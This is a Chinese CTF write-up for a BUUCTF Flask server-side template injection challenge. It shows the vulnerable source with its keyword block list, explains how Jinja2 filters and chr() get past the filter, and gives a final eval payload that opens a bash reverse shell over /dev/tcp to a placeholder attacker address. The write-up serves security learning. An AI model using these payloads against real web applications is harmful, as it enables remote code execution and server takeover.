共计2789个字符,预计需要花费7分钟才能阅读完成。
题目
在 BUUCTF 上看到的一道题,题目源码如下(获得权限后扒下来的):

from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
try:
iname = request.form.get('code')
bl = ['_', '.', '\\', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']',"class", "arg", "form", "value", "data", "request", "init", "global", "popen", "mro", "base","cat" ,'flag', 'getitem', 'read', 'os']
for i in bl:
if i in iname:
return render_template_string("Oops,it's not a name\nWhy your name contains so much invalid punctuation and keywords?")
return render_template_string("Hello %s,\nIn case I don't see you,good afternoon,good evening and good night" % iname)
except:
assert "Sorry,I don't know what you mean"
if __name__ == '__main__':
app.run(host='0.0.0.0')
思路
刚开始打开网页时这样的:

输入随便一串字符,点击 Click 就会显示出来,很明显这里可能存在模板注入。
显示网页源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Truman Show</title>
<script type="text/javascript" src="/static/js/jquery.min.js"></script>
<script type="text/javascript" src="/static/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="/static/css/app.css" type="text/css">
</head>
<body>
<div class="title">
<h1>Enter you name:</h1>
</div>
<div class="main">
<form method="POST" onsubmit="return ssti()">
<input id="borderDemo" type="text" name="code">
<button class="btn">Click</button>
</form>
</div>
<br/>
<pre style="text-align: center;" id="iname">
</pre>
<script>
function ssti() {
$.post({
url: `/`,
contentType: "application/x-www-form-urlencoded",
data: `code=${encodeURIComponent($("input[name='code']").val())}`,
success: iname => {$("#iname").html(iname)
}
});
return false
}
</script>
</body>
</html>
向 /
提交 POST
数据 code={{4*4}}
发现回显了16
,证明存在模板注入。
尝试构造 __import__('os').system('')
,测试后发现.
、"
、_
和\
等等都不能使用了。\
意味着我们不能使用 unicode 和 16 进制绕过。
我们可以用 |attr()
来绕过 .
,关键语句可以用chr()
函数来绕过。由于 eval()
函数测试没有被关键字检测,因此可以尝试用他来执行命令。
先获得 chr()
函数:
lipsum.__globals__.get('__builtins__').__getitem__('chr')
但是要绕过 .
和__globals__
等等关键字,因此改成:
# 获得 __globals__ 字符
{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
# 获得 __builtins__ 字符
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
# 获得 __getitem__ 字符
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
# 获得 builtins 内置方法
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
# 获得 chr() 函数
{%set chr=a|attr(geite)('chr')%}
再获得 eval()
函数,也在内置函数里面,因此只要:
a|attr(geite)('eval')(' 命令内容 ')
命令内容用 chr()
加密即可,最终构造PayLoad:
{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
{%set chr=a|attr(geite)('chr')%}
{{a|attr(geite)('eval')
(__import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'")
)
}}
其中 __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'")
改成 chr(95)~chr(95)~chr(105)~chr(109) 等等
即可。
正文完